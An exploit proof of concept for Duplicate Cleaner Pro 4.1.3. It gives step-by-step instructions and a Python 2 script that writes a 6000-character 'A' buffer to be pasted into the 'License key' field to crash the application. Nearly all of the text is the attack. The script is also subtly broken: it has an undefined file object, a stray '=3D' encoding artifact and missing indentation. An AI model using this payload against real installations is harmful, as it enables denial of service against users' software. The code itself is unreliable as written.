Duplicate Cleaner Pro 4 - Denial of Service (PoC)

# Exploit Title: Duplicate Cleaner Pro 4 - Denial of Service (PoC)
# Date: 2020-01-05
# Vendor Homepage:https://www.digitalvolcano.co.uk/index.html
# Software Link:  https://www.digitalvolcano.co.uk/download/DuplicateCleanerPro4_setup.exe
# Exploit Author: Achilles
# Tested Version: 4.1.3
# Tested on: Windows 7 x64


# 1.- Run python code :
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Duplicate Cleaner Pro
# 4.- Paste the content of EVIL.txt into the Field: 'License key'
# 5.- Click 'Activate' and you will see a crash.

#!/usr/bin/env python
buffer =3D "\x41" * 6000

try:
f.open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"